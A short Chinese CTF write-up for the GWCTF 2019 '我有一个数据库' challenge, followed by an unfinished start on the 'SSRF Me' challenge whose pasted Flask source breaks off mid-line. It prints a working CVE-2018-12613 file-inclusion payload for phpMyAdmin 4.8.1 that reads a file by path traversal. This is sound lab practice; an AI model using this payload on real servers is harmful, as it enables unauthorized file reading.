BUU刷题--[GWCTF 2019]我有一个数据库

我有一个数据库

打开看到这样一堆文字，读不懂，也没有其他的信息。

怎么想也想不到该怎么做，buu还不能扫描。所以只能看了wp，看到有一个/phpmyadmin，回来开始想怎么做

phpmyadmin版本信息4.8.1，搜索一下有什么漏洞。

任意文件包含：那么我们就可以利用来读flag

?target=db_datadict.php%253f/../../../../../../../../../flag

拿到flag
考点就是CVE-2018-12613这个漏洞。

下面的是ssrf还有问题。先放着

SSRF Me

打开是一段python源码。

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(</